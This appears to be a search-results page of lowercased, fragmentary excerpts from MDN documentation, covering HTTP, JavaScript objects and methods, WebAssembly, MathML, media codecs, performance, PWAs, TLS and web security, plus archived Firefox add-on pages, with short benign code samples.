s sent over tcp, or over a tls-encrypted tcp connection, though any reliable transport protocol could theoretically be used. due to its extensibility, it is used to not only fetch hypertext documents, but also images and videos or to post content to servers, like with html form results. http can also be used to fetch parts of documents to update web pages on demand. components of http-based systems http is a client-server protocol: requests are sent by one entity, the user-agent (or a proxy on behalf of it). most of the time the user-agent is a web browser, but it can be anything, for example a robot that crawls the web to populate and maintain a search engine index. each individual request is sent to a server, which handles it and provides an answer, called the response. between the clie...
...x. each individual request is sent to a server, which handles it and provides an answer, called the response. between the client and the server there are numerous entities, collectively called proxies, which perform different operations and act as gateways or caches, for example. in reality, there are more computers between a browser and the server handling the request: there are routers, modems, and more. thanks to the layered design of the web, these are hidden in the network and transport layers. http is on top, at the application layer. although important to diagnose network problems, the underlying layers are mostly irrelevant to the description of http. client: the user-agent the user-agent is any tool that acts on the behalf of the user. this role is primarily performed by the w...
...f the web, these are hidden in the network and transport layers. http is on top, at the application layer. although important to diagnose network problems, the underlying layers are mostly irrelevant to the description of http. client: the user-agent the user-agent is any tool that acts on the behalf of the user. this role is primarily performed by the web browser; other possibilities are programs used by engineers and web developers to debug their applications. the browser is always the entity initiating the request. it is never the server (though some mechanisms have been added over the years to simulate server-initiated messages). to present a web page, the browser sends an original request to fetch the html document that represents the page. it then parses this file, making additiona...
...sions using http cookies allows you to link requests with the state of the server. this creates sessions, despite basic http being a state-less protocol. this is useful not only for e-commerce shopping baskets, but also for any site allowing user configuration of the output. http flow when a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps: open a tcp connection: the tcp connection is used to send a request, or several, and receive an answer. the client may open a new connection, reuse an existing connection, or open several tcp connections to the servers. send an http message: http messages (before http/2) are human-readable. with http/2, these simple messages are encapsulated in frames, making them impossi...
Details of the object model - JavaScript
it is the prototype also get the new property. summary of differences the following table gives a short summary of some of these differences. the rest of this chapter describes the details of using javascript constructors and prototypes to create an object hierarchy and compares this to how you would do it in java. comparison of class-based (java) and prototype-based (javascript) object systems category class-based (java) prototype-based (javascript) class vs. instance class and instance are distinct entities. all objects can inherit from another object. definition define a class with a class definition; instantiate a class with constructor methods. define and create a set of objects with constructor functions. creation of new obj...
...class. in javascript, "instance" does not have this technical meaning because javascript does not have this difference between classes and instances. however, in talking about javascript, "instance" can be used informally to mean an object created using a particular constructor function. so, in this example, you could informally say that jane is an instance of engineer. similarly, although the terms parent, child, ancestor, and descendant do not have formal meanings in javascript; you can use them informally to refer to objects higher or lower in the prototype chain. creating objects with simple definitions object hierarchy the following hierarchy is created using the code on the right side. individual objects = jim, sally, mark, fred, jane, etc. "instances" created from constructor...
...s a cleaner implementation because the base is not needed anymore. property inheritance revisited the preceding sections described how javascript constructors and prototypes provide hierarchies and inheritance. this section discusses some subtleties that were not necessarily apparent in the earlier discussions. local versus inherited values when you access an object property, javascript performs these steps, as described earlier in this chapter: check to see if the value exists locally. if it does, return that value. if there is not a local value, check the prototype chain (using the __proto__ property). if an object in the prototype chain has a value for the specified property, return that value. if no such property is found, the object does not have the property. the outcome of...
...; this.id = idcounter++; } with this definition, when you create a new employee, the constructor assigns it the next id in sequence and then increments the global id counter. so, if your next statement is the following, victoria.id is 1 and harry.id is 2: var victoria = new employee('pigbert, victoria', 'pubs'); var harry = new employee('tschopik, harry', 'sales'); at first glance that seems fine. however, idcounter gets incremented every time an employee object is created, for whatever purpose. if you create the entire employee hierarchy shown in this chapter, the employee constructor is called every time you set up a prototype. suppose you have the following code: var idcounter = 1; function employee(name, dept) { this.name = name || ''; this.dept = dept || 'general'; th...
JavaScript technologies overview - JavaScript
ript) the core language of javascript is standardized by the ecma tc39 committee as a language named ecmascript. this core language is also used in non-browser environments, for example in node.js. what falls under the ecmascript scope? among other things, ecmascript defines: language syntax (parsing rules, keywords, control flow, object literal initialization, ...) error handling mechanisms (throw, try...catch, ability to create user-defined error types) types (boolean, number, string, function, object, ...) the global object. in a browser, this global object is the window object, but ecmascript only defines the apis not specific to browsers, e.g. parseint, parsefloat, decodeuri, encodeuri... a prototype-based inheritance mechanism built-in objects and functions (json, math, arr...
... (dom) is a cross-platform, language-independent convention for representing and interacting with objects in html, xhtml and xml documents. objects in the dom tree may be addressed and manipulated by using methods on the objects. the w3c standardizes the core document object model, which defines language-agnostic interfaces that abstract html and xml documents as objects, and also defines mechanisms to manipulate this abstraction. among the things defined by the dom, we can find: the document structure, a tree model, and the dom event architecture in dom core: node, element, documentfragment, document, domimplementation, event, eventtarget, … a less rigorous definition of the dom event architecture, as well as specific events in dom events. other things such as dom traversal and dom r...
...element, documentfragment, document, domimplementation, event, eventtarget, … a less rigorous definition of the dom event architecture, as well as specific events in dom events. other things such as dom traversal and dom range. from the ecmascript point of view, objects defined in the dom specification are called "host objects". html dom html, the web's markup language, is specified in terms of the dom. layered above the abstract concepts defined in dom core, html also defines the meaning of elements. the html dom includes such things as the classname property on html elements, or apis such as document.body. the html specification also defines restrictions on documents; for example, it requires all children of a <ul> element, which represents an unordered list, to be <li> elements, ...
...the abstract concepts defined in dom core, html also defines the meaning of elements. the html dom includes such things as the classname property on html elements, or apis such as document.body. the html specification also defines restrictions on documents; for example, it requires all children of a <ul> element, which represents an unordered list, to be <li> elements, as those represent list items. in general, it also forbids using elements and attributes that aren't defined in a standard. looking for the document object, window object, and the other dom elements? read the dom documentation. other notable apis the settimeout and setinterval functions were first specified on the window interface in html standard. xmlhttprequest makes it possible to send asynchronous http requests. th...
Array.prototype.sort() - JavaScript
h function expressions: var numbers = [4, 2, 5, 1, 3]; numbers.sort(function(a, b) { return a - b; }); console.log(numbers); // [1, 2, 3, 4, 5] es2015 provides arrow function expressions with even shorter syntax. let numbers = [4, 2, 5, 1, 3]; numbers.sort((a, b) => a - b); console.log(numbers); // [1, 2, 3, 4, 5] objects can be sorted, given the value of one of their properties. ...
...numbers = [4, 2, 5, 1, 3]; numbers.sort((a, b) => a - b); console.log(numbers); // [1, 2, 3, 4, 5] objects can be sorted, given the value of one of their properties. ...
...; // [1, 2, 3, 4, 5] objects can be sorted, given the value of one of their properties. ...
...orted without a compare function: 1,200,40,5,700,80,9 sorted with comparenumbers: 1,5,9,40,80,200,700 sorting non-ascii characters for sorting strings with non-ascii characters, i.e. strings with accented characters (e, é, è, a, ä, etc.), strings from languages other than english, use string.localecompare. this function can compare those characters so they appear in the right order. var items = ['réservé', 'premier', 'communiqué', 'café', 'adieu', 'éclair']; items.sort(function (a, b) { return a.localecompare(b); }); // items is ['adieu', 'café', 'communiqué', 'éclair', 'premier', 'réservé'] sorting with map the comparefunction can be invoked multiple times per element within the array. depending on the comparefunction's nature, this may yield a high overhead. the more...
Date.prototype.getTime() - JavaScript
esenting the milliseconds elapsed between 1 january 1970 00:00:00 utc and the given date. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of new date().gettime() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. ...
... between 1 january 1970 00:00:00 utc and the given date. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of new date().gettime() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. ...
... examples using gettime() for copying dates constructing a date object with the identical time value. ...
...alls on newly generated date objects, give the time span between these two calls. this can be used to calculate the executing time of some operations. see also date.now() to prevent instantiating unnecessary date objects. var end, start; start = new date(); for (var i = 0; i < 1000; i++) { math.sqrt(i); } end = new date(); console.log('operation took ' + (end.gettime() - start.gettime()) + ' msec'); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gettime' in that specification. ...
Date.now() - JavaScript
polyfill this method was standardized in ecma-262 5th edition. ...
... if (!date.now) { date.now = function now() { return new date().gettime(); }; } examples reduced time precision to offer protection against timing attacks and fingerprinting, the precision of date.now() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. ...
...unction now() { return new date().gettime(); }; } examples reduced time precision to offer protection against timing attacks and fingerprinting, the precision of date.now() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. ...
...faults to 20µs in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 date.now() // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enabled date.now(); // 1519129853500 // 1519129858900 // 1519129864400 // ... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. specifications specification ecmascript (ecma-262)the definition of 'date.now' in that specification. ...
Object.create() - JavaScript
ays. this is especially true when debugging, since common object-property converting/detecting utility functions may generate errors, or simply lose information (especially if using silent error-traps that ignore errors). for example, here are two objects: oco = object.create( {} ); // create a normal object ocn = object.create( null ); // create a "null" object > console.log(oco) // {} -- seems normal > console.log(ocn) // {} -- seems normal here too, so far oco.p = 1; // create a simple property on normal obj ocn.p = 0; // create a simple property on "null" obj > console.log(oco) // {p: 1} -- still seems normal > console.log(ocn) // {p: 0} -- still seems normal here too. but wait... as shown above, all seems normal so far. however, when attempting to actually use these objects, the...
...for example: a simple common debugging function: // display top-level property name:value pairs of given object function showproperties(obj){ for(var prop in obj){ console.log(prop + ": " + obj[prop] + "\n" ); } } not such simple results: (especially if silent error-trapping had hidden the error messages) ob={}; ob.po=oco; ob.pn=ocn; // create a compound object usin...
...issing object-methods is not immediately apparent. ...
...od directly from the standard-object does not work: ocn = object.create( null ); // create "null" object (same as before) ocn.tostring = object.tostring; // since new object lacks method then try assigning it directly from standard-object > ocn.tostring // shows "tostring() { [native code] }" -- missing method seems to be there now > ocn.tostring == object.tostring // shows "true" -- method seems to be same as the standard object-method > ocn.tostring() // error: function.prototype.tostring requires that 'this' be a function adding the missing object-method directly to new object's "prototype" does not work either, since the new object does not have a real prototype (which is really the cause of all these problems) and one cannot be directly added: ocn = object.create( null ); // cr...
Object.keys() - JavaScript
patible object.keys support in older environments that do not natively support it, copy the following snippet: // from /docs/web/javascript/reference/global_objects/object/keys if (!object.keys) { object.keys = (function() { 'use strict'; var hasownproperty = object.prototype.hasownproperty, hasdontenumbug = !({ tostring: null }).propertyisenumerable('tostring'), dontenums = [ 'tostring', 'tolocalestring', 'valueof', 'hasownproperty', 'isprototypeof', 'propertyisenumerable', 'constructor' ], dontenumslength = dontenums.length; return function(obj) { if (typeof obj !== 'function' && (typeof obj !== 'object' || obj === null)) { throw new typeerror('object.keys cal...
... for a simple browser polyfill, see javascript - object.keys browser compatibility. ...
... for a simple browser polyfill, see javascript - object.keys browser compatibility. examples using object.keys // simple array const arr = ['a',...
... for a simple browser polyfill, see javascript - object.keys browser compatibility. examples using object.keys // simple array const arr = ['a', 'b', 'c']; console.log(object.keys(arr))...
WebAssembly.Global() constructor - JavaScript
l() constructor. it is being defined as a mutable i32 type, with a value of 0. the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value). ...
...e, with a value of 0. the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value). ...
...hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 69chrome android full support 69firefox android full support 62opera android no support nosafari ios no support nosamsung internet android full support 10.0nodejs no support nolegend full support full support no support no support ...
WebAssembly.Instance - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0instance() constructorchrome full support 57edge full support 16firefox full support 52notes ful...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0exportschrome full support 57edge full support 16firefox full support 52notes full support ...
... ...
MathML element reference - MathML
ier) l <mlabeledtr> (labeled row in a table or a matrix) <mlongdiv> (long division notation) m <mmultiscripts> (prescripts and tensor indices) n <mn> (number) o <mo> (operator) <mover> (overscript) p <mpadded> (space around content) <mphantom> (invisible content with reserved space) r <mroot> (radical with specified index) <mrow> (grouped sub-expressions) s <ms> (string literal) <mscarries> (annotations such as carries) <mscarry> (single carry, child element of <mscarries>) <msgroup> (grouped rows of <mstack> and <mlongdiv> elements) <msline> (horizontal lines inside <mstack> elements) <mspace> (space) <msqrt> (square root without an index) <msrow> (rows in <mstack> elements) <mstack> (stacked alignment) <mstyle> (style change) <msub> (subscri...
...ing literal) <mscarries> (annotations such as carries) <mscarry> (single carry, child element of <mscarries>) <msgroup> (grouped rows of <mstack> and <mlongdiv> elements) <msline> (horizontal lines inside <mstack> elements) <mspace> (space) <msqrt> (square root without an index) <msrow> (rows in <mstack> elements) <mstack> (stacked alignment) <mstyle> (style change) <msub> (subscript) <msup> (superscript) <msubsup> (subscript-superscript pair) t <mtable> (table or matrix) <mtd> (cell in a table or a matrix) <mtext> (text) <mtr> (row in a table or a matrix) u <munder> (underscript) <munderover> (underscript-overscript pair) other elements <semantics> (container for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) math...
...or a matrix) <mtext> (text) <mtr> (row in a table or a matrix) u <munder> (underscript) <munderover> (underscript-overscript pair) other elements <semantics> (container for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) mathml presentation elements by category top-level elements <math> token elements <mglyph> <mi> <mn> <mo> <ms> <mspace> <mtext> general layout <menclose> <merror> <mfenced> <mfrac> <mpadded> <mphantom> <mroot> <mrow> <msqrt> <mstyle> script and limit elements <mmultiscripts> <mover> <mprescripts> <msub> <msubsup> <msup> <munder> <munderover> <none> tabular math <maligngroup> <malignmark> <mlabeledtr> <mtable> <mtd> <mtr> elementary math <mlongdiv> <mscarries...
...mspace> <mtext> general layout <menclose> <merror> <mfenced> <mfrac> <mpadded> <mphantom> <mroot> <mrow> <msqrt> <mstyle> script and limit elements <mmultiscripts> <mover> <mprescripts> <msub> <msubsup> <msup> <munder> <munderover> <none> tabular math <maligngroup> <malignmark> <mlabeledtr> <mtable> <mtd> <mtr> elementary math <mlongdiv> <mscarries> <mscarry> <msgroup> <msline> <msrow> <mstack> uncategorized elements <maction> semantic annotations <annotation> <annotation-xml> <semantics> ...
The "codecs" parameter in common media types - Web media technologies
haracters long; if the value is less than that length, it must be padded with leading zeros. av1 codec parameter string components component details p the one-digit profile number: av1 profile numbers profile number description 0 "main" profile; supports yuv 4:2:0 or monochrome bitstreams with bit depth of 8 or 10 bits per component. 1 "high" profile adds support for 4:4:4 chroma subsampling. 2 "professional" profile adds support for 4:2:2 chroma subsampling and 12 bit per component color. ll the two-digit level number, which is converted to the x.y format level format, where x = 2 + (ll >> 2...
... baseline profile (cbp) cbp is primarily a solution for scenarios in which resources are constrained, or resource use needs to be controlled to minimize the odds of the media performing poorly. 42 40 baseline profile (bp) similar to cbp but with more data loss protections and recovery capabilities. this is not as widely used as it was before cbp was introduced. all cbp streams are considered to also be bp streams. 42 00 extended profile (xp) designed for streaming video over the network, with high compression capability and further improvements to data robustness and stream switching. 58 00 main profile (mp) the profile used for standard-definition digital television being broadcast in mpeg-4 format. not used for high-definition te...
...h 4:4:4 profile constrained to all-intra use, and to using only cavlc entropy coding. 44 00 scalable baseline profile intended for use with video conferencing as well as surveillance and mobile uses, the svc baseline profile is based on avc's constrained baseline profile. the base layer within the stream is provided at a high quality level, with some number of secondary substreams that offer alternative forms of the same video for use in various constrained environments. these may include any combination of reduced resolution, reduced frame rate, or increased compression levels. 53 00 scalable constrained baseline profile primarily used for real-time communication applications. not yet supported by webrtc, but an extension to the webrtc api to allow svc ...
...rwise, provides the same features as the high profile. 80 00 multiview high profile supports two or more views using both temporal and mvc inter-view prediction. does not support field pictures or macroblock-adaptive frame-field coding. 76 00 multiview depth high profile based on the high profile, to which the main substream must adhere. the remaining substreams must match the stereo high profile. 8a 00 mpeg-4 audio when the value of an entry in the codecs list begins with mp4a, the syntax of the value should be: mp4a.oo[.a] here, oo is the two-digit hexadecimal object type indication which specifies the codec class being used for the media. the otis are assigned by the mp4 registration authority, which maintains a list of the possible ot...
Recommended Web Performance Timings: How long is too long? - Web Performance
load goal the 'under a second' is often touted as optimal for load, but what does that mean? a second should be considered a rule in the maximum amount of time to indicate to a user that the request for new content was made and will load, such as the browser displaying the page title and the background color of the page displaying. ...
...und threads are supported for web workers). this means that user interaction, painting, and script execution are all on the same thread. if the thread is busy doing complex javascript execution, the main thread will not be available to react to user input, such as pressing a button. for this reason, script execution should be limited in scope, divided into chunks of code that can be executed in 50ms or less. this makes the thread available for user interactions. animation goal for scrolling and other animations to look smooth and feel responsive, the content repaints should occur at 60 frames per second (60fps), which is once every 16.7ms. the 16.7 milliseconds includes scripting, reflow, and repaint. realize a document takes about 6ms to render a frame, leaving about 10ms for the rest. an...
...lliseconds includes scripting, reflow, and repaint. realize a document takes about 6ms to render a frame, leaving about 10ms for the rest. anything less than 60fps, especially an un-even or changing frame rate, will appear janky. responsiveness goal when the user interacts with content, it is important to provide feedback and acknowledge the user's response or interaction and to do so within 100ms, preferably within 50ms. 50ms seconds feels immediate. the acknowledgment of user interaction should often feel immediate, such as a hover or button press, but that doesn't mean the completed response should be instantaneous. ...
...when the user interacts with content, it is important to provide feedback and acknowledge the user's response or interaction and to do so within 100ms, preferably within 50ms. 50ms seconds feels immediate. the acknowledgment of user interaction should often feel immediate, such as a hover or button press, but that doesn't mean the completed response should be instantaneous. while a slower than 100ms reaction may create a disconnect between the user interaction and the response, a 100 to 200ms transition for a response may help the user notice the response their interaction initiated, such as a menu opening. if a response takes longer than 100ms to complete, provide some form of feedback to inform the user the interaction has occurred. ...
Progressive loading - Progressive web apps (PWAs)
ill be loaded only when they appear in the viewport. intersection observer this is a progressive enhancement to the previously working example — intersection observer will load target images only when the user scrolls down, causing them to display in the viewport. ...
...ey appear in the viewport. intersection observer this is a progressive enhancement to the previously working example — intersection observer will load target images only when the user scrolls down, causing them to display in the viewport. here's what the relevant code looks like: if('intersectionobserver' in window) { const observer = new intersectionobserver((items, observer) => { items.foreach((item) => { if(item.isintersecting) { loadimages(item.target); observer.unobserve(item.target); } }); }); imagestoload.foreach((img) => { observer.observe(img); }); } else { imagestoload.foreach((img) => { loadimages(img); }); } if the intersectionobserver object is supported, the app creates a new instance of it. the function passed as a...
... loadimages(item.target); observer.unobserve(item.target); } }); }); imagestoload.foreach((img) => { observer.observe(img); }); } else { imagestoload.foreach((img) => { loadimages(img); }); } if the intersectionobserver object is supported, the app creates a new instance of it. the function passed as a parameter is handling the case when one or more items are intersecting with the observer (i.e. is appearing inside the viewport). we can iterate over each case and react accordingly — when an image is visible, we load the correct image and stop observing it as we no longer need to observe it. let's reiterate our earlier mention of progressive enhancement — the code is written so that the app will work whether intersection observer is supported ...
...ssigned, or by wrapping <img> tags with <a> elements pointing at the target images, so the user can click and access them when desired. we won't do that because the app itself is dependent on javascript — without it, the list of games wouldn't even be loaded, and the service worker code wouldn't be executed. we could rewrite the loading process to load not only the images, but the complete items consisting of full descriptions and links. it would work like an infinite scroll — loading the items on the list only when the user scrolls the page down. that way the initial html structure would be minimal, loading time even smaller, and we would have even greater performance benefits. conclusion less files to load initially, smaller files split into modules, use of placeholders, and loadin...
Mobile first - Progressive web apps (PWAs)
r example: if you are serving different styling and layout information for different viewport sizes, etc., it makes more sense to include the narrow screen/mobile styling as the default styling before any media queries are encountered, rather than having desktop/wider screen styling first. this way, mobile devices don't have to load assets and other information twice. if you are using mechanisms like feature detection and matchmedia to conditionally load scripting functionality depending on viewport size, feature support, etc., you should just load the very basics that pretty much all browsers will need first, then progressively enhance browsers higher up the food chain. note: starting with very little and working up as the need arises usually makes more sense than starting with every...
...ntent into different views, and simplifying the interface and content on each view of your application for mobile as much as possible, it is also a good idea to not include visual effects such as shadows, animations, and gradients. you should at least consider it as an option, especially if you are experiencing slow or laggy performance when your application is running on mobile. control mechanisms control mechanisms are another large constraint on mobile devices. anyone who has ever tried to enter data into a form on a mobile device, or even just navigated around a complex site, knows this well. therefore we should try to simplify things on mobile, keeping each view cut down to a single, simple purpose where possible, and reducing the amount of typing users are expected to do. the latter ...
...ave. of course, your users will be concentrating on what they're doing, but they are likely to be in a car with bad lighting, or in a noisy bar with the sport on tv in the background! you need to consider this, and again make sure your content/functionality is simple, legible and distraction-free as much as possible. mobile navigation when developing mobile app layouts, you often run into problems with navigation menus. the concept is the same regardless of the target device — you want to provide a mechanism for users to search for things and get to different views/pages of the application — but because mobile screens are so much smaller, a reasonable desktop navigation can spoil the experience by filling up most of the initial view of the app, covering up the content. there several w...
... this is a key point - the background image is 126kb, and not ideal for narrow layouts. having it included in the "600 pixels or wider" media query means that narrow screen devices won't read that media query, so they will not waste their time and bandwidth downloading that image. note: firefox's responsive design view is a great way to get a quick idea of how your media queries are behaving themselves. try it out with tools > web developer > responsive design view. feature detection feature detection involves doing tests (usually in javascript) to determine whether a browser supports a certain feature, and then serving css or javascript to suit that situation. this can be very useful for mobile first, as you may well want to hide bits of code from the "mobile version" and only include ...
Transport Layer Security - Web security
shake phase where a client and server agree on a shared secret and important parameters, like cipher suites, are negotiated. once parameters and a data exchange mode where application data, such http, is exchanged. cipher suites the primary parameters that the tls handshake negotiates is a cipher suite. in tls 1.2 and earlier, the negotiated cipher suite includes a set of cryptographic algorithms that together provide the negotiation of the shared secret, the means by which a server is authenticated, and the method that will be used to encrypt data. the cipher suite in tls 1.3 primarily governs the encryption of data, separate negotiation methods are used for key agreement and authentication. different software might use different names for the same cipher suites. for instance, the name...
...0-rtt can be significant, they come with some risk of replay attack, so some care is needed before enabling this feature. tls 1.3 supports forward-secure modes only, unless the connection is resumed or it uses a pre-shared key. tls 1.3 defines a new set of cipher suites that are exclusive to tls 1.3. these cipher suites all use modern authenticated encryption with associated data (aead) algorithms. ...
... implementations of draft versions of tls 1.3 are available. tls 1.3 is enabled in some browsers, including the 0-rtt mode. ...
...ficates are encrypted, or to request client certificates only when certain resources are requested. for the privacy of client certificates, the encryption of the tls 1.3 handshake ensures that client certificates are encrypted; however this might require some software changes. reactive client authentication using certificates is supported by tls 1.3 but not widely implemented. alternative mechanisms are in the process of being developed, which will also support http/2. retiring old tls versions to help with working towards a more modern, more secure web, tls 1.0 and 1.1 support will be removed from all major browsers in q1 2020. you'll need to make sure your web server supports tls 1.2 or 1.3 going forward. from version 74 onwards, firefox will return a secure connection failed error when...
Web security
not secure is limited. many web apis and features are accessible only in a secure context. the primary goal of secure contexts is to prevent man-in-the-middle attackers from accessing powerful apis that could further compromise the victim of an attack. features restricted to secure contexts this reference lists the web platform features available only in secure contexts. weak signature algorithms the strength of the hash algorithm used in signing a digital certificate is a critical element of the security of the certificate. this article provides some information about signature algorithms known to be weak, so you can avoid them when appropriate. redirection with 301 and 302 response codes to be written data security using http cookies an http cookie (web cookie, browser cookie) ...
...e-options response http header is a marker used by the server to indicate that the mime types advertised in the content-type headers should not be changed and be followed. this is a way to opt out of mime type sniffing, or, in other words, to say that the mime types are deliberately configured. clickjacking protection in clickjacking, a user is fooled into clicking on a ui element that performs some action other than what the user expects. http x-frame-options the x-frame-options http response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>. sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. csp: frame-ancestors the http content-se...
...me>, <embed> or <object>. sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. csp: frame-ancestors the http content-security-policy (csp) frame-ancestors directive specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed>, or <applet>. user information security insecure passwords serving login forms over http is especially dangerous because of the wide variety of attacks that can be used against them to extract a user’s password. network eavesdroppers could steal a user's password by sniffing the network, or by modifying the served page in transit. privacy and the :visited selector before about 2010, the css :visited selector allowed websites to uncover a user's browsing history and figu...
...d by sniffing the network, or by modifying the served page in transit. privacy and the :visited selector before about 2010, the css :visited selector allowed websites to uncover a user's browsing history and figure out what sites the user had visited. to mitigate this problem, browsers have limited the amount of information that can be obtained from visited links. ...
Index - WebAssembly
modules caching, indexeddb, javascript, module, webassembly, compile, wasm caching is useful for improving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time. this article explains the best practices around this. ...
...tore compiled webassembly modules on the client so they don't have to be downloaded and compiled every time. this article explains the best practices around this. 3 compiling a new c/c++ module to webassembly c, c++, compiling, emscripten, webassembly, wasm when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscripten. let’s look at how it works. 4 compiling an existing c module to webassembly c++, compiling, emscripten, webassembly, wasm a core use-case for webassembly is to take the existing ecosystem of c libraries and allow developers to use them on the web. 5 compiling from rust to webassembly compiling, webassembly, rust, wasm if you've written some rust...
...ibes what they are in a little more detail. 8 index index, webassembly found 12 pages: 9 loading and running webassembly code fetch, javascript, webassembly, xmlhttprequest, bytecode to use webassembly in javascript, you first need to pull your module into memory before compilation/instantiation. this article provides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it. 10 understanding webassembly text format functions, javascript, s-expressions, webassembly, calls, memory, shared address, table, text format, was, wasm this finishes our high-level tour of the major components of the webassembly text format and how they get reflected in the web...
... ...
Content Processes - Archive of obsolete content
lem with the content script having access to the window object is that a malicious page could override methods on the window object that it knows are being used by the add-on, in order to trick the add-on into doing something it does not expect. similarly, if the content script defines any values on the window object, a malicious page could potentially steal that information. to avoid problems like this, content scripts should always see the built-in properties of the window object, even when they are overridden by another script. conversely, other scripts should not see any properties added to the window object by the content script. this is where xray wrappers come in. xray wrappers automatically wrap native objects like the window object, and only exposes their native properties, ev...
...ould not see any properties added to the window object by the content script. this is where xray wrappers come in. xray wrappers automatically wrap native objects like the window object, and only exposes their native properties, even if they have been overridden on the wrapped object. conversely, any properties defined on the wrapper are not visible from the wrapped object. this avoids both problems we mentioned earlier. the fact that you can't override the properties of the window object via a content script is sometimes inconvenient, so it is possible to circumvent this: by defining the property on window.wrappedobject, the property is defined on the underlying object, rather than the wrapper itself. this feature should only be used when you really need it, however. a few notes on securi...
... ...
Modules - Archive of obsolete content
ertain size, it becomes necessary to split it up into multiple files. unfortunately, javascript does not provide any means to load scripts from other locations: we have to rely on the host application to provide us with this functionality. applications such as firefox and thunderbird are based on xulrunner. xulrunner adds a built-in object, known as components, to the global scope. this object forms the central access point for all functionality provided by the host application. a complete explanation of how to use components is out of scope for this document. however, the following example shows how it can be used to load scripts from other locations: const { classes: cc interfaces: ci } = components; var instance = cc["@mozilla.org/moz/jssubscript-loader;1"]; var loader = instanc...
...d on its global object. the problem with breaking encapsulation like this is that malicious scripts can use it to get the loading script to execute arbitrary code, by overriding one of the methods on the built-in constructors. if the loading script has chrome privileges, then so will any methods called by the loading script, even if that method was installed by a malicious script. to avoid problems like this, the object passed to loadsubscript should be a true global object, having its own instances of the built-in constructors. this is exactly what sandboxes are for. a sandbox is a global object that lives in a separate compartment. compartments are a fairly recent addition to spidermonkey, and can be seen as a separate memory space. objects living in one compartment cannot be accessed dir...
...pt(url, imports) { let global = components.utils.sandbox(url); global.imports = imports; global.exports = {}; loader.loadsubscript(url, global); return global.exports; } note that the object returned by sandbox is a wrapper to the sandbox, not the sandbox itself. a wrapper behaves exactly like the wrapped object, with one difference: for each property access/function it performs an access check to make sure that the calling script is actually allowed to access/call that property/function. if the script being loaded is less privileged than the loading script, the access is prevented, as the following example shows: // index.js: let a = loadscript("www.foo.com/a.js", { components: components }); // index.js has chrome privileges components.utils; // => [object nsxpcc...
jpm - Archive of obsolete content
loping) in the branded release or beta versions of firefox. thus, you will need to download and install a different version of firefox. assuming you don't want an old version of firefox, your options are firefox developer edition, firefox nightly, unbranded beta, or unbranded release. when testing your add-on, you will need to use the -b option to jpm run. see selecting a browser version. problems? if you do not see this, ask for help. sdk users and project team members discuss problems and proposals on the project mailing list. someone else may have had the same problem you do, so try searching the list. you are welcome to post a question, too. you can also chat with other sdk users in #jetpack on mozilla's irc network. command reference jpm supports the following commands: j...
...ion on logging levels for the details on this. overloading the built-in modules the sdk modules you use to implement your add-on are built into firefox. when you run or package an add-on using jpm run or jpm xpi, the add-on uses the versions of the modules in the version of firefox that hosts it. as an add-on developer, this is usually what you want. but if you're developing the sdk modules themselves, of course, it isn't. in this case you need to: get a local copy of the sdk modules that you want: this usually means checking out the sdk from its github repo set the jetpack_root environment variable to your local copy pass the -o option to jpm run or jpm xpi: jpm run -o this instructs jpm to use the local copies of the sdk modules, not the ones in firefox. if you do not want to s...
... -o: jpm run -o "/path/to/addon-sdk/" the path must be an absolute path and point to the sdk's root (not addon-sdk/sdk or addon-sdk/sdk/lib, for instance). supporting updates for self-hosted add-ons this feature is only supported from jpm 1.0.3 onwards. when you make updates to your add-on to add features or fix bugs, you'll want any previously installed versions of the add-on to update themselves to the new version. if you list your add-on on addons.mozilla.org, then all you have to do here is submit the new version; add-ons default to checking addons.mozilla.org for new versions of themselves. you can stop reading this section. if you do not list your add-on on addons.mozilla.org, you need to generate a mozilla-signed xpi and tell firefox where it can find new versions of your add...
Bootstrapped extensions - Archive of obsolete content
